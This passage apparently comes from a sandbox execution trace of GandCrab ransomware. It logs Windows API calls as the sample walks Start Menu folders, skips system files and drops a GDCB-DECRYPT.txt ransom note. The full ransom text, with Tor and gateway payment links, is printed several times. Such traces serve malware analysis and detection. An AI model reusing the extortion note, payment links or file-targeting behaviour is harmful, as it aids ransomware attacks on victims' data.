lpString2="iconcache.db") returned -1 [0054.931] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.931] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.931] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.931] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.931] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.931] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.931] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.931] lstrcmpW (lpString1="Programs", lpString2=".") returned 1 [0054.931] lstrcmpW (lpString1="Programs", lpString2="..") returned 1 [0054.931] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\", lpString2="Programs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs" [0054.931] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\" [0054.931] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.931] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.931] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\") returned 76 [0054.931] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*" [0054.931] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b8670 [0054.932] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.932] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.932] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.932] lstrcmpW (lpString1="Accessibility", lpString2=".") returned 1 [0054.932] lstrcmpW (lpString1="Accessibility", lpString2="..") returned 1 [0054.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Accessibility" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility" [0054.932] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility") returned 89 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.932] lstrcmpW (lpString1="Accessories", lpString2=".") returned 1 [0054.932] lstrcmpW (lpString1="Accessories", lpString2="..") returned 1 [0054.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Accessories" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0054.932] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned 87 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.932] lstrcmpW (lpString1="Administrative Tools", lpString2=".") returned 1 [0054.932] lstrcmpW (lpString1="Administrative Tools", lpString2="..") returned 1 [0054.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Administrative Tools" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0054.932] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned 96 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.932] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.932] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" [0054.932] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini") returned 87 [0054.932] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.932] lstrcmpW (lpString1="Maintenance", lpString2=".") returned 1 [0054.932] lstrcmpW (lpString1="Maintenance", lpString2="..") returned 1 [0054.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Maintenance" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0054.932] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned 87 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.932] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0054.932] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0054.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="OneDrive.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" [0054.932] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk") returned 88 [0054.932] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.932] lstrcmpW (lpString1="Startup", lpString2=".") returned 1 [0054.932] lstrcmpW (lpString1="Startup", lpString2="..") returned 1 [0054.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Startup" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0054.932] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 83 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.932] lstrcmpW (lpString1="System Tools", lpString2=".") returned 1 [0054.932] lstrcmpW (lpString1="System Tools", lpString2="..") returned 1 [0054.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="System Tools" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools" [0054.932] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools") returned 88 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0054.932] lstrcmpW (lpString1="Windows PowerShell", lpString2=".") returned 1 [0054.932] lstrcmpW (lpString1="Windows PowerShell", lpString2="..") returned 1 [0054.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Windows PowerShell" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell" [0054.932] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell") returned 94 [0054.932] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0054.932] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.933] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.933] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\\\GDCB-DECRYPT.txt") returned 93 [0054.933] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0054.934] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.934] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0054.935] CloseHandle (hObject=0x500) returned 1 [0054.935] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.936] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\") returned 76 [0054.936] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*" [0054.936] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8af0 [0054.936] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.936] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.936] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.936] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.936] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.936] lstrcmpW (lpString1="Accessibility", lpString2=".") returned 1 [0054.936] lstrcmpW (lpString1="Accessibility", lpString2="..") returned 1 [0054.936] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Accessibility" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility" [0054.936] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\" [0054.936] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.936] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.936] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.936] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.936] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.936] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.936] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\") returned 90 [0054.936] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*" [0054.936] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8670 [0054.936] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.936] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.937] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.937] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.937] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.937] lstrcmpW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.937] lstrcmpW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.937] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini" [0054.937] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini") returned 101 [0054.937] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.937] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.937] lstrcmpW (lpString1="Magnify.lnk", lpString2=".") returned 1 [0054.937] lstrcmpW (lpString1="Magnify.lnk", lpString2="..") returned 1 [0054.937] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="Magnify.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" [0054.937] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk") returned 101 [0054.937] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.937] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.937] lstrcmpW (lpString1="Narrator.lnk", lpString2=".") returned 1 [0054.937] lstrcmpW (lpString1="Narrator.lnk", lpString2="..") returned 1 [0054.937] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="Narrator.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" [0054.937] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk") returned 102 [0054.937] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.937] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.937] lstrcmpW (lpString1="On-Screen Keyboard.lnk", lpString2=".") returned 1 [0054.937] lstrcmpW (lpString1="On-Screen Keyboard.lnk", lpString2="..") returned 1 [0054.937] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="On-Screen Keyboard.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" [0054.937] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk") returned 112 [0054.937] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.937] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.937] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.937] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.937] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\\\GDCB-DECRYPT.txt") returned 107 [0054.937] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.938] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.938] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.939] CloseHandle (hObject=0x504) returned 1 [0054.939] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.939] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\") returned 90 [0054.939] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*" [0054.939] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8870 [0054.939] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.939] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.939] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.939] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.940] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.940] lstrcmpW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.940] lstrcmpW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.940] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini" [0054.940] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.940] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini") returned 101 [0054.940] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini") returned 101 [0054.940] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini") returned 101 [0054.940] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini") returned 101 [0054.940] lstrcmpiW (lpString1="Desktop.ini", lpString2="desktop.ini") returned 0 [0054.940] VirtualFree (lpAddress=0x2730000, 